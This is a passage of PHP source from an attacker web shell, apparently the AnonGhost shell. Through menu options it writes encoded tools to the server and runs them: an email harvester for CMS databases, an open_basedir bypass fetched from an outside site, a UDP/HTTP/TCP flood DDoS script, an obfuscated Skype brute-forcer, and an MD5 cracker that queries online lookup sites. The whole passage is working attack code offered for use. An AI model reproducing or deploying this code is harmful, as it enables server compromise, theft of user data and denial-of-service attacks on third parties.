lwZT0ndGV4dCcgbmFtZT0ndXNlcicgdmFsdWU9J3VzZXJuYW1lJz4NCgk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzcycgdmFsdWU9J3Bhc3N3b3JkJz4NCgk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nRXhlY3V0cmUnPjwvY2VudGVyPjwvZm9ybT4iOw0KCWVjaG8gIjxwIGFsaWduPSdjZW50ZXInIGRpcj0nbHRyJz48dGV4dGFyZWEgY29scz0nMzUnIHJvd3M9JzE4Jz4iOw0KCQlpZihjb25uZWN0KCRob3N0LCAkZGF0YSwgJHVzZXIsICRwYXNzKSkgew0KIAkkY21kNCA9IEBteXNxbF9xdWVyeSgkd2htKTsNCgl3aGlsZSgkZW1haWxzNCA9IEBteXNxbF9mZXRjaF9hcnJheSgkY21kNCkpIHsNCgkJZWNobyAieyRlbWFpbHM0W2VtYWlsXX1cbiI7IH0NCgllY2hvICI8L3RleHRhcmVhPiI7IH0NCiB9DQoJZWNobyAiPHAgYWxpZ249J2NlbnRlcicgZGlyPSdsdHInPg0KCTxmb250IGZhY2U9J0F1ZGlvd2lkZScgY29sb3I9J2dyZXknIHNpemU9JzEnPkNvZGVkIEJ5IDo8Zm9udCBmYWNlPSdBdWRpb3dpZGUnIGNvbG9yPSdncmV5JyBzaXplPScxJz4geFNlY3VyaXR5PC9mb250PiANCgl+IFNreXBlIDo8Zm9udCBmYWNlPSdBdWRpb3dpZGUnIGNvbG9yPSdncmV5JyBzaXplPScxJz4gYjB4LXNhPC9mb250PjwvZm9udD48L3A+DQoJPHAgYWxpZ249J2NlbnRlcicgZGlyPSdsdHInPg0KCTxmb250IGZhY2U9J0F1ZGlvd2lkZScgY29sb3I9J2dyZXknIHNpemU9JzEnPkdyZWV0cyA6IDwvZm9udD4NCgk8Zm9udCBmYWNlPSdBdWRpb3dpZGUnIGNvbG9yPSdncmV5JyBzaXplPScxJz5Nci5EbTRyIC0gTm8tUVJRUiAtIGIweCAtIA0KCURhbWVuZUR6IC0gRm9YIEhhQ2tFciAtIHIwa2luIC0gUkFCM09VTiAtIExvdjNyRE5TIC0gRGVlRiAtIGFib2xhbGggLSBHcm91cCANCgl4MyAtIEFsbCBNZW1iZXJzPC9mb250Pjxmb250IGZhY2U9J0F1ZGlvd2lkZScgY29sb3I9J2dyZXknIHNpemU9JzEnPiB+PC9mb250PjwvcD4NCgk8cCBhbGlnbj0nY2VudGVyJyBkaXI9J2x0cic+DQoJPGZvbnQgZmFjZT0nQXVkaW93aWRlJyBjb2xvcj0nZ3JleScgc2l6ZT0nMSc+SG9tZXBhZ2UgOjwvZm9udD48Zm9udCBmYWNlPSdBdWRpb3dpZGUnIGNvbG9yPSdncmV5JyBzaXplPScxJz4NCgk8L2ZvbnQ+PGZvbnQgZmFjZT0nQXVkaW93aWRlJyBjb2xvcj0nZ3JleScgc2l6ZT0nMSc+DQoJPGEgaHJlZj0naHR0cDovL3d3dy5zZWM0ZXZlci5jb20nIHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IG5vbmUnPg0KCTxmb250IGZhY2U9J0F1ZGlvd2lkZScgY29sb3I9J2dyZXknIHNpemU9JzEnPnd3dy5zZWM0ZXZlci5jb208L2ZvbnQ+PC9hPjwvZm9udD48Zm9udCBmYWNlPSdWZXJkYW5hJyBzaXplPScxJyBjb2xvcj0nIzAwOTlDQyc+DQoJPC9mb250Pjxmb250IGZhY2U9J0F1ZGlvd2lkZScgY29sb3I9J2dyZXknIHNpemU9JzEnPi08L2ZvbnQ+PGZvbnQgZmFjZT0nQXVkaW93aWRlJyBjb2xvcj0nZ3JleScgc2l6ZT0nMSc+DQoJPC9mb250Pjxmb250IGZhY2U9J0F1ZGlvd2lkZScgY29sb3I9J2dyZXknIHNpemU9JzEnPg0KCTxhIGhyZWY9J2h0dHA6Ly93d3cuaXMtc2VjLmNvbScgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogbm9uZSc+DQoJPGZvbnQgZmFjZT0nQXVkaW93aWRlJyBjb2xvcj0nZ3JleScgc2l6ZT0nMSc+d3d3LmlzLXNlYy5jb208L2ZvbnQ+PC9hPjwvZm9udD48L3A+IjsNCj8+';
  374.     $file = fopen("exmail.php" ,"w+");
  375.     $write = fwrite ($file ,base64_decode($exmail));
  376.     fclose($file);
  377.         chmod("exmail.php",0755);
  378.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Extract Emails From [ OpenCart - WordPress - Joomla - WHMCS ]</b></p><iframe src=exmail.php width=75% height=60% frameborder=0></iframe>"; }
  379.        
  380.     elseif(isset($_GET['bbase'])) {  
  381.     $bbase ='http://www.ppteo.es/wp-content/themes/calotropis/css/baby-blue.txt';
  382.     $file = fopen("bbase.php" ,"w+");
  383.     $write = fwrite ($file ,file_get_contents($bbase));
  384.     fclose($file);
  385.         chmod("bbase.php",0755);
  386.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Open Basee_Dir Bypass</b></p><iframe src=bbase.php width=75% height=60% frameborder=0></iframe>"; }
  387.        
  388.     elseif(isset($_GET['ddose'])) {
  389.     $ddose ='PD9waHAgLy8tLSByZWNvZGVkIGJ5IEFub25HaG9zdCAtLS8vDQplY2hvICc8dGl0bGU+QW5vbkdob3N0IERET1MgQXR0YWNrPC90aXRsZT48bGluayByZWw9IlNIT1JUQ1VUIElDT04iaHJlZj0iaHR0cDovL3d3dy5pY29uai5jb20vaWNvL2wvbS9sbWE5OTJkcjQxLmljbyI+JzsNCmVjaG8gJzxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoNCglib2R5DQoJew0KCWJhY2tncm91bmQ6IzEwMTAxMDtiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cDovL2k5NTIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9hZTEvdmlydXNhd29ybS9hZy9mb25kYmdfenBzNjUwZjUwMjUuanBnKTsNCglmb250LWZhbWlseTogQ291cmllciBOZXc7DQoJZm9udC1zaXplOiAxMnB0Ow0KCWZvbnQtd2VpZ2h0OiA0MDA7DQoJY29sb3I6ICM1OEZBRjQ7DQoNCgl9DQphe3RleHQtZGVjb3JhdGlvbjpub25lO30NCmE6bGluayB7Y29sb3I6IzU4RkFGNDt9DQphOnZpc2l0ZWQge2NvbG9yOiMwMDgwODA7fQ0KYTpob3Zlcntjb2xvcjojZmYwMDAwO30NCmE6YWN0aXZlIHtjb2xvcjojMDBhMmEyO30NCg0KPC9zdHlsZT4nOw0KZWNobyAnPGRpdiBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjNThGQUY0ICI+JzsNCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IkdFVCIgIj4gDQo8YnI+PGJyPiAmbmJzcDsgVHlwZSBvZiBhdHRhY2sgKHVkcCAsIGh0dHAgLCB0Y3ApICBDaGFyZ2VzIC0+IGh0dHAgPC90ZD4gPHRkPjxpbnB1dCBpZD0iYm90b24iIHR5cGU9InRleHQiIG5hbWU9InRpcCIgdmFsdWU9IiIgc2l6ZT0iMjVweCI+IA0KPGJyPjxicj4gJm5ic3A7IFNpdGU8L3RkPiA8dGQ+PGlucHV0IGlkPSJib3RvbiIgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9InNpdGUuY29tIiBzaXplPSIyNXB4Ij4gDQo8YnI+PGJyPiAmbmJzcDsgUG9ydDwvdGQ+IDx0ZD48aW5wdXQgaWQ9ImJvdG9uIiB0eXBlPSJ0ZXh0IiBuYW1lPSJwb3J0IiB2YWx1ZT0iODAiIHNpemU9IjI1cHgiPiANCjxicj48YnI+ICZuYnNwOyBQYXRoPC90ZD4gPHRkPjxpbnB1dCBpZD0iYm90b24iIHR5cGU9InRleHQiIG5hbWU9InBhdGgiIHZhbHVlPSIvaW5kZXgucGhwIiBzaXplPSIyNXB4Ij4gDQo8YnI+PGJyPiAmbmJzcDsgVGltZTwvdGQ+IDx0ZD48aW5wdXQgaWQ9ImJvdG9uIiB0eXBlPSJ0ZXh0IiBuYW1lPSJ6YW1hbiIgdmFsdWU9IjI0MCIgc2l6ZT0iMjVweCI+IA0KPGJyPjxicj4gJm5ic3A7Jm5ic3A7IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdGFydCBERG9zISIgY2xhc3M9ImFjY2lvbiI+ICZuYnNwOyA8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iU3RvcCBERG9zIiBjbGFzcz0iYWNjaW9uIiBvbmNsaWNrPSJ3aW5kb3cuc3RvcCgpIi8+IDwvdGQ+IA0KJzsNCnNldF90aW1lX2xpbWl0KDApOw0KaWdub3JlX3VzZXJfYWJvcnQoVFJVRSk7DQokdGlwCQkJPSAkX0dFVFsndGlwJ107DQokaG9zdAkgCQk9ICRfR0VUWydob3N0J107DQokcG9ydAkgCQk9ICRfR0VUWydwb3J0J107DQokcGF0aAkJCT0gJF9HRVRbJ3BhdGgnXTsNCiRleGVjX3RpbWUgCSAJPSAkX0dFVFsnemFtYW4nXTsNCmlmKCRob3N0ICE9IG51bGwgYW5kICRwb3J0ICE9IG51bGwgYW5kICRleGVjX3RpbWUgIT0gbnVsbCkNCnsNCiR0aW1lID0gdGltZSgpOw0KJG1heF90aW1lID0gJHRpbWUrJGV4ZWNfdGltZTsNCmlmKCR0aXAgPT0gJ3VkcCcpDQp7DQokb3V0CT0JJyc7DQpmb3IoJGk9MDskaTw2NTAwMDskaSsrKQ0Kew0KJG91dCAuPSAnSkFOSSc7DQp9DQp3aGlsZSgxKQ0Kew0KaWYodGltZSgpID4kbWF4X3RpbWUpDQp7DQpicmVhazsNCn0NCiRmcCA9IGZzb2Nrb3BlbigndWRwOi8vJy4kaG9zdCwkcG9ydCwkZXJybm8sJGVycnN0ciw1KTsNCmlmKCRmcCkNCnsNCmZ3cml0ZSgkZnAsJG91dCk7DQpmY2xvc2UoJGZwKTsNCn0NCn0NCn0NCi8vIEhUVFAgQVRUQUNLDQplbHNlaWYoJHRpcCA9PSAnaHR0cCcpDQp7DQpmdW5jdGlvbiB3ZWRhdGNhbigkaG9zdCwkcG9ydCwkcGF0aCkNCnsNCiRpcF9kZWdpc3RpciA9IHJhbmQoNTAsMjU0KS4nLicucmFuZCg1MCwyNTQpLicuJy5yYW5kKDUwLDI1NCkuJy4nLnJhbmQoNTAsMjU0KTsNCiRzYWxkaXIgPSBmc29ja29wZW4oJGhvc3QsJHBvcnQgLCRlcnJubywkZXJyc3RyLDMwKTsNCiRnaWRlbmxlciAuPSAnR0VUICcuJHBhdGguIiBIVFRQLzEuMVxyXG4iOw0KJGdpZGVubGVyIC49ICdIb3N0OiAnLiRob3N0LiJcclxuIjsNCiRnaWRlbmxlciAuPSAiVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlcy1FUzsgcnY6MS44LjEuMTYpIEdlY2tvLzIwMDgwNzAyIEZpcmVmb3gvMi4wLjAuMTZcclxuIjsNCiRnaWRlbmxlciAuPSAiQWNjZXB0OiB0ZXh0L3htbCxhcHBsaWNhdGlvbi94bWwsYXBwbGljYXRpb24veGh0bWwreG1sLHRleHQvaHRtbDtxPTAuOSx0ZXh0L3BsYWluO3E9MC44LGltYWdlL3BuZyxpbWFnZS9qcGcsaW1hZ2UvZ2lmLCovKjtxPTAuNVxyXG4iOw0KJGdpZGVubGVyIC49ICJBY2NlcHQtTGFuZ3VhZ2U6IGVzLWVzLGVzO3E9MC44LGVuLXVzO3E9MC41LGVuO3E9MC4zXHJcbiI7DQokZ2lkZW5sZXIgLj0gIkFjY2VwdC1DaGFyc2V0OiBJU08tODg1OS0xLHV0Zi04O3E9MC43LCo7cT0wLjdcclxuIjsNCiRnaWRlbmxlciAuPSAiS2VlcC1BbGl2ZTogMzAwXHJcbiI7DQokZ2lkZW5sZXIgLj0gIlByb3h5LUNvbm5lY3Rpb246IGtlZXAtYWxpdmVcclxuIjsNCiRnaWRlbmxlciAuPSAnUmVmZXJlcjogaHR0cDovLycuJGhvc3QuJy8nLiRwYXRoLiJcclxuIjsNCiRnaWRlbmxlciAuPSAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuIjsNCiRnaWRlbmxlciAuPSAnQ29udGVudC1MZW5ndGg6ICcubXRfcmFuZCgxMDAwMDAwMDAsMTAwMDAwMDAwMCk7DQokZ2lkZW5sZXIgLj0gJ1gtRm9yd2FyZGVkLUZvcjogJy4kaXBfZGVnaXN0aXIuIlxyXG4iOw0KJGdpZGVubGVyIC49ICJWaWE6IENCLVByeFxyXG4iOw0KJGdpZGVubGVyIC49ICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlXHJcblxyXG4iOw0KJHNhbGRpcmlfeW9sbGEgPSBmd3JpdGUoJHNhbGRpciwkZ2lkZW5sZXIpOw0KZmNsb3NlKCRzYWxkaXIpOw0KfQ0Kd2hpbGUoMSkNCnsNCmlmKHRpbWUoKSA+JG1heF90aW1lKQ0Kew0KYnJlYWs7DQp9DQp3ZWRhdGNhbigkaG9zdCwkcG9ydCwkcGF0aCk7DQp9DQp9DQovL1RDUCBBVFRBQ0sNCmVsc2VpZigkdGlwID09ICd0Y3AnKQ0Kew0KJG91dAk9CScnOw0KZm9yKCRpPTA7JGk8NjUwMDA7JGkrKykNCnsNCiRvdXQgLj0gJ0pBTkknOw0KfQ0Kd2hpbGUoMSkNCnsNCmlmKHRpbWUoKSA+JG1heF90aW1lKQ0Kew0KYnJlYWs7DQp9DQokZnAgPSBmc29ja29wZW4oJGhvc3QsJHBvcnQsJGVycm5vLCRlcnJzdHIsNSk7DQppZigkZnApDQp7DQpmd3JpdGUoJGZwLCRvdXQpOw0KZmNsb3NlKCRmcCk7DQoNCn0NCn0NCn0NCn07DQplY2hvICc8L2Rpdj4nOw0KDQoNCj8+';
  390.     $file = fopen("ddose.php" ,"w+"); $write = fwrite ($file ,base64_decode($ddose)); fclose($file); chmod("ddose.php",0755); echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>DDOS Script [PHP] By AnonGhost Team</b></p><iframe src=ddose.php width=65% height=60% frameborder=0></iframe>"; } elseif(isset($_GET['agsky'])) { $agsky ='PD9waHANCnByZWdfcmVwbGFjZSgiLy4qL2UiLCJceDY1XHg3Nlx4NjFceDZDXHgyOFx4NjdceDdBXHg2OVx4NkVceDY2XHg2Q1x4NjFceDc0XHg2NVx4MjhceDYyXHg2MVx4NzNceDY1XHgzNlx4MzRceDVGXHg2NFx4NjVceDYzXHg2Rlx4NjRceDY1XHgyOCdsWnJMcnVTNEVVVDNCdndQalVZdjdNMmdKQ1pKQ1kzNWs5clVjK1cxMFo5dk1YaUMxSzB4R3BoRjRWNnBLRDd5RVJHWnFoKy9IdS9IODl1M1AvNzg5djM2cTE2T3ozcjlWZkx4cWRkZitUMnYyM2ZsY1h5VzQ1UDZ2WFU3UHNmMzZ6RnVmUjJmVy85ZjM3WDdqLzQzSDMvck1UYVY0NU5QMTdYZisvTDk4dlU2MHVuNm1DdHRIK1ByMS9uaTQvbTBmOHlYUDc0dnYxbnZjejl0di9HYjgveS8vWDJlLzNPK3ovWE84NldQL2FXUDlZK3g4V20vMysydi9IVzl2L1U4NTF1UGZkZkQxL240dmh6M1l1dDJxN25QSDN1ZnR4eWYydXgvZkYranoxRmVQUE04cmc5YnhIR2RpSzBjek5QbXp0MVhXci9OZjhSVlB1YXFiZjRXaysvK1hSdGJ2QmYyNjNPMldHeHp0UFgwWFBReGl1L2NmYUY0SUw3YmMyMVBpdkcxNTBDN1Y0SzFtaTlyWDN0MWJ0eTVsMWg3Ny9mYVdUUHh0OTc3WFBFZ1YrNTlMem4xY2UyNjNjOFg3RWRzeUY2NW4xM2ZiL2huWlk0YjU5bjYzRnFiZTdxT2J0UG1NOW03OUxsem1iR3UvSWcrdCt5MVlzZm9lMnpyYU15bDI3ck5HOWhZNThyZEwrVjh2Y3p4MnZNRis3WjFib3hML0dWTVBaMnQ3VlBueGE0K3YzTHJnbTFXN1BQdTV5OWwycTZ5aDNiZGZPZHJ4ZDZkL2V6OXV2bStyVnM1UTV0ZjUxbkJ1K2puc0QvYlhMSmw0S2U5MzIveHJoaVB2ajg5UzE2ME04Z213Ym1XdVllMm52ejE0blB2TWFpOXR6MC95U09lYjdabzM5bVg4dTJyNzZuWmRweHQ3K3RYOXFaelI0L0Q1b3NBZTFvTzZOcTVzekxmZzcrTWFYYk81STdzY2VzNXBYTlYxdC9KcVRydEtMekpmZi9OZG0xdnpnblpadTgrVi80WDRuY0ZJNXhQdGMvVjVwV2ROODRSeE9rYnV5d25yTW5rSmpIUXZ2Y3piUjdaOXRibjFmNGRsOHhoYnFyTEtkOHIrZkhvZGkzNFFuYmIram9GSHl2MkwrRGx1L3RLKzNqTm1KR3RiOWlJZk1pY3Zmazk4R0dMaVhhV0FNOTBabU1oMkNjY2ZJSkpUL3ovNk04bThsRTRiV3dMOElQbmpQMk9peFdiTmgrMVp4b1dpTXRPKzNFZUdrdGJMQVFhSWRBUWJYNWp0K0x3eVp5dmJqZjU2RWFNYmYxTWxieXY4SnZ5RTc5WE9GNDQ1dmd4SjVBM0drZmNCUG5Xdmg5Y3RLTm5tS3ZnL3hFWG5vKzR5VjR6WThOdGptL3gwZndtN1VSdWFUM21sZC93Y3pVbitoeWw1NnR0ckpnRGo5dXptaGVmdEJ3cWNGZ2JvL2tmSjgxRHJ2VjF2Ly84NXo5Ky9GcTIvTEMyVTc0NVR1N2c1aE9mUnNkQytYeUJHKzVnNllXNGd2TVROa3JZckdEZmJPMTBtL252Y2NxTnhMcXBuMW5qRWptMGRUL0szNEVQSHZqakNhZkFJNG9aNS9DS0pzam9odVhyR01YbmpqK01hUVZleDc5alh5KzREandWMWo3d1cySS8rRTZ4bTNxOHBtM0daeUsvNWR1RWpiaHZ6TWhvb2tvc09VZU4wVzFOYzV3NVRCcG83WHRzZVMrZTlMMkN2YTFWVGpIblhLbndrYkVvd3p2SzBRYzJEckM5ZGg5a3RGY0JBeklZbk1HVmhLK1VHOFNDT1BtQy9WYk94Yjd6ZHRyTEV6dGNKaTVXL0N1L1drYysrdnptSjJOVHdOZlNqZThUWG9CTjR1cVQ3UlNEQ3hyT3R0dUo1UXhtR1FQS3pMOWl6Q3Z3eTRZZDBCZ0ZqU1NNdS9XNWRaWUsxNWdEbGhPLzdIQjU2Zk1aTHhJYVRqWXpCaTNnYXBuNElvNkEzOW85WHd2MzJLOXkrM0VkbWlCZjVua0MzUkxXUHN5cldEV21saGtQMW5lVi9ZdDNzSWxpNDhsOGFEZjUyYno1Z09Pc0RhekZLM2x5Njk4bGRJNXRXY0NHUUY5b0QvQ2s4Q1p6ZnNjRWZuVzlKWnRhUTdpbTJEa3puS0cxMlV0MUhZTUdFWi9VSHJmdFk5elcyU3YvUDN0TXlPZlA2OUNTNHJuM2pEbkZpK1BJdFF4NEtQNG10dVF6ZU1tMmJOZXlILzluL09PNjEvbGMwUTdKdWpuTmVBaTAvOUN1TCtiZDBHU1hQdDQxZ0dLVldzR2FSdWNrRm9xNTc5bnpUSnhSSjhjR21sTzVDUVpiNzhjNlk3YmE1MHMvWTRJcml2VmJtZlpQNkhHZGErM3hON0RuUGpFb20vTmRKNkRWRTF5VTBaVE9jOFVUOFNlZmdGbUtPZWZVQXU4Uk4wRytGZXBUMjAxK0JvT0VEK2dSOFMyYVJySHhCUDl2cDFqY2lFZkdKbmloMEZzcDZEMWpxZmlIV3RvNlZmeXhuT0tFZWlmZ20wenRsY2tYM2JldWVhTTdxSDJGTlQ0Zk5aVjAycVhIc001QS9CYm1LZFR4cmlzcnVxemxjclZXM1pnL3NBLzFrWEpqQmR1TmRYQmt6VE4vekMrcUI2aDc2elk1V2ZQdFBZOXJtYndpdmdCSFpTUFhxZGl6T0I1dmFJaTEreUZUZjdjenl3L0dwUWY3Qzg0TTF3Zzc5cjZHOTJDT2pUcDVxVnFEWEs1RG40NTZqZmdKOGtXMnhCOUozTisxM2JiRjBIYXVDNFZCZS9lejZ3ZHpsalRJRzR3R1Q2d0ZBbDliLzZ6a1FDWVBoYjFiSDZNNGRvMVlpSUYzSDFQUmJxN1RoUW5XNzl0MTF0clV1NW1hZXZSRDRFUDNiNXE5RTNWMVJtc1hiQ2RNdTNRYkpmUkpSWTlWcmd1OUJNZC9kWXhSbStSVERTL3NKd2JFYTNmMmhmMkVYMXlQUGg3OUUrdmxzcC93aG53ckhndC9wbFBmSXBIZnJxdXo4WUo0RGJpem9JT3N3NFBlZ0dOKzlEWXFlR3d0QkdhV1UreXJmbkF2ejd6aFB0QlpkKzNFMFAwNitselNTVGZPdWVCVE1OOWNQV3FqaFRPeWJnYkR4R2RsK3JqQ3RjcWRrOTRvNUwzcksyRVp1cXE0N2tPTEZYUys2d2lkK2RYM3NPTExRajNyMnFLU0orb3J1YTV6WFgwQkw1ZXBCUk84N0I2R2ZFTGQ2cHJiL1l0a1RiZVE5OVlTeit2b2pZVzVxckxuak0zUUVjSVBzRm5YZDNKdG5Ud21QdDdaTit0bjR5dDVhMDBjakZOTmhQMFNQRmZkNzBMdm0vc3JkYm81eDMzR0lPWnR3d3gvWmJSMldCdHpIc2VpKzZjWnJhVjhkTytnb0QvYzY4VnVsZDZlWXRJODRGd3VVNHVvbHdNT0IxaHRqYXJZQlUrQzlTdTVPYlFBK1NjOWdFN0xhRXp4QXoyclNyMHMvQy9FQWJyQWZlYU1ud0svSmZBcmJkTld5cVBYNUVUbEIxd2hET1I4bVpoUDFpZlUyTVUyUXJzV2RHNW1uR3ViMFF1alRrM1dVUFFUN0I5aGF5VlB5SzEwbVRtWTNkKzZYWWRHcy82eHRxbm9sb3gyRTgrNExuU2RiSjNtWERKbTNmQVR2bEFPZ3ZuU0tQQnFvYi91dnJmckFOa2NIdzVlTno3Y1RybEFyZU96dXdZU3hzQmIxWnA4N2Z0eVhSRm80N0IyTStZOTRhRUxzVWdNVnZTNis0bURJMlBtbnVhSE4vWDl5YmRwbnpraDdNL1lrWHhKeGhockl6U05jVHl4bG10NTVTcTQ3aDZzOU00cG50MmZyZGI5MUhxVmVEYWV1MjUxLzkzMTB1QU9jaVdJdVhCZVg0Z0o2dnBLTDZZU2x3VitrR1l5ZDZGTlhLTzVSK1MrU0xYK2gwY1NlYWQ5SnZiaHVocU5yZjRsbWxwWTVCN05hV3pRenpGditCMmNlbGZPZS82bU9uWFY2TVY2UCs3bFVKc0hmamVuQi9rWGU5ZDI5OGpGMms1MlBNMlRqRXV1RSs3elBZcDBXNWthd1AwVzRUczZyZElmY3EyVnFHVmNnMlhYUlBScmJQdGhkM0ovdk50Y1p4Nk4zcTM1OUVVK3ZDYzJDS3VJTTluaWRSM3ZhWDFkNGNpRS94VERyc1hvSFF3L1BycTlnL281bVEvQjlwVzZSVDdKTTZhY040RTJGaDQrcitOOVJHQzNBRDhjejhJM05LcjBIM3Fzb2plMU56REI5YnJqSm96bjF0d0JweGtMVi9hUC90Yi90NGwxd295Rm1zTjlBdHNKYnZVZVZyUys4aUN1b3pkay9ncDQwWDB2MTl1dXY1UUR4bkI4R0dueWdYdWh4anh6YndhclYzenBlc2k1TmZycjhFMjRuMExOYUYxaExuVmZ6TFZ5dWM5blhlOXBmL2ZyZUI4OE5CZm5XKzhUUDZxeEZNMGsyMXZiZ1N1ZVArV1RQcndUeTJqMDFab1N6SE0vWmVnbzkxQ0lKZUhKNHpwNk1ObDYyNzBleG1WeU5Sc2pyZHRjV3o5T21BbS91Yy9wbWw3MnFQTVp4YUUxQjM0TmJGV3NCK2tuT0Nka3cweXRnQStWNy9qYmU1VmQwRGpTUHB6TDd3R3FjMm1aTnNqa2dmQ0VHaWRUMzBwanZPQVY3NkhPM0hadnpocFh1RVF0TlhvTGNKOXk3elk1Y2ZTODNhTzBIdVozTHhYTXo5U0gxZThHd2Y2QnFXVmljaVYzckdPVHNjRHh2VnpIK3cvRkVyNFRCOUsvZGorem5MaDc5Q2poYk5jYW8zWkZwNmltQ1BZQzVsWHFDL2NCelRkNmowbE9hRzMyRWRRZVFReXAzNDB0L1M1emFFam5hYjJPdmtnbEp2eC9kWTE1MHBQU0ZLZmVxUHZYeGRvbDlYRkJIWkdwUmRRN0F4ODBGMXdWMUxBRkh3c0hDdnBpbXpZcTFya0xQRWR0cVZxV3VqMjVubkkrdnliV0ttL01UZWlIb003MHV3S2R3ejZMNit5OWdOUFcvcU5uaFA3TTlFWmMrMHBUbFlsbmhYb3V3ekYrL3lxTUpPZmRvM1Y5TUdwTk1NdDFoZnZpQlgvcS9PL3IrTDFPb3Zid08zejNVNVRycFgrRy9SZldnRWVNajM3bk9uNlhSSC9IZmNaTXJQbGRvOStqV0FmNlhjWGdhOWRHektsejdwTkxqVzJSVHZGVytzZDljZG1aMzU0a2NqRTkrMitZdnZ5dWFmOGIxNm5qNVBrM2J2cTB2ZDIvLzN6OTkvYWZmLzNvUDYzNzR4dnZZZHMvYXRxMWY1ckMrL2ZQL3dFPSdceDI5XHgyOVx4MjlceDNCIiwiIik7DQo/Pg==';
  391.     $file = fopen("agsky.php" ,"w+");
  392.     $write = fwrite ($file ,base64_decode($agsky)); fclose($file); chmod("agsky.php",0755); echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Skype Brute Force</b></p><iframe src=agsky.php width=75% height=60% frameborder=0></iframe>"; }
  393.     elseif(isset($_GET['mden'])) {echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost MD5 Generator</b></p>"; echo '<table width="40%" align="center"><tr><td width="200" valign="top">Md5 Generator</td><td><form method="post" action=""><input type="text" name="kode"><input type="submit" value="Create"></form></td></tr></table>'; $md5=htmlspecialchars(strip_tags($_POST['kode'])); $yaz=md5($md5); echo '<table width="40%" align="center"><tr><td>'.$md5.' : <font color="red">'.$yaz.'</font></td></tr></table></body>'; } elseif(isset($_GET['mdec'])){echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost MD5 Decrypt</b></p>"; echo '<center><form  method="POST"><center><span style="text-shadow: 1px 1px 1px #666666;">MD5 Decrypt</span><br><input name="hash" type="text" class="style3" size="32"><br><br><input type="submit" class="style3" value="Decrypt it!"></center></form></center>'; $city = strtolower(trim($_POST["hash"])); if(ereg("([0-9a-f]{32})", $city)) { $urls = array(
  394.                      0 => ("http://md5.rednoize.com/?p&s=md5&q=" . $city),
  395.                      1 => ("http://gdataonline.com/qkhash.php?mode=txt&hash=" . $city),
  396.                      2 => ("http://milw0rm.com/cracker/search.php"),
  397.                      3 => ("http://md5decryption.com/"),
  398.                      4 => ("http://alimamed.pp.ru/md5/?md5e=&md5d=" . $city),
  399.                      5 => ("http://ice.breaker.free.fr/md5.php?hachage=" . $city),
  400.                      6 => ("http://passcracking.com/"),
  401.                      7 => ("http://md5.hashcracking.com/search.php?md5=" . $city),
  402.                      8 => ("http://www.hashchecker.com/index.php?_sls=search_hash"),
  403.                      9 => ("http://md5crack.it-helpnet.de/index.php?op=search"),
  404.                      10 => ("http://blacklight.gotdns.org/cracker/crack.php"),
  405.                      11 => ("http://md5.ip-domain.com.cn/"),
  406.                      12 => ("http://www.bigtrapeze.com/md5/"),
  407.                      13 => ("http://opencrack.hashkiller.com/"),
  408.                      14 => ("http://www.md5oogle.com/decrypt.php?input=" . $city),
  409.                      15 => ("http://www.tydal.nu/php/sakerhet/md5.php?q=" . $city)
  410.                      );
  411.      
  412.         $params = array(
  413.                         0 => (null),
  414.                         1 => (null),
  415.                         2 => ("hash=" . $city . "&submit=Submit"),
  416.                         3 => ("hash=" . $city . "&submit=Decrypt It!"),
  417.                         4 => (null),
  418.                         5 => (null),
  419.                         6 => ("datafromuser=" . $city . "&submit=Do it"),
  420.                         7 => (null),
  421.                         8 => ("search_field=" . $city . "&Submit=search"),
  422.                         9 => ("md5=" . $city . "&submit=Search now"),
  423.                         10 => ("hash=" . $city . "&algos=MD5&crack=Crack"),
  424.                         11 => ("text=" . $city . "&submit=submit"),
  425.                         12 => ("query=" . $city . "&submit= Crack "),
  426.                         13 => ("oc_check_md5=" . $city ."&oc_submit=Search MD5"),
  427.                         14 => (null),
  428.                         15 => (null)
  429.                         );
  430.      
  431.         $patterns = array(
  432.                          0 => (null),
  433.                          1 => ("/<\/td><td width=\"35%\"><b>(.*)<\/b><\/td><\/tr>/"),
  434.                          2 => ("/<\/TD><TD align=\"middle\" nowrap=\"nowrap\" width=90>(.*)<\/TD><TD align=\"middle\" nowrap=\"nowrap\" width=90>cracked<\/TD><\/TR>/"),
  435.                          3 => ("/<h2>Results<\/h2><b>Md5 Hash:<\/b> " . $city . "<br\/><b class='red'>Normal Text: <\/b>(.*)<br\/>/"),
  436.                          4 => ("/: <b>(.*)<\/b><br><form action=\"\">/"),
  437.                          5 => ("/: <b><br \/><br \/> - (.*)<\/b>/"),
  438.                          6 => ("/<\/td><td>md5 Database<\/td><td>" . $city . "<\/td><td bgcolor=#FF0000>(.*)<\/td><td>/"),
  439.                          7 => ("/Cleartext of " . $city . " is (.*)/"),
  440.                          8 => ("/<td><li>Your md5 hash is :<br><li>" . $city . " is <b>(.*)<\/b> used charl/"),
  441.                          9 => ("/<\/td><td>" . $city . "<\/td><td>(.*)<\/td>/"),
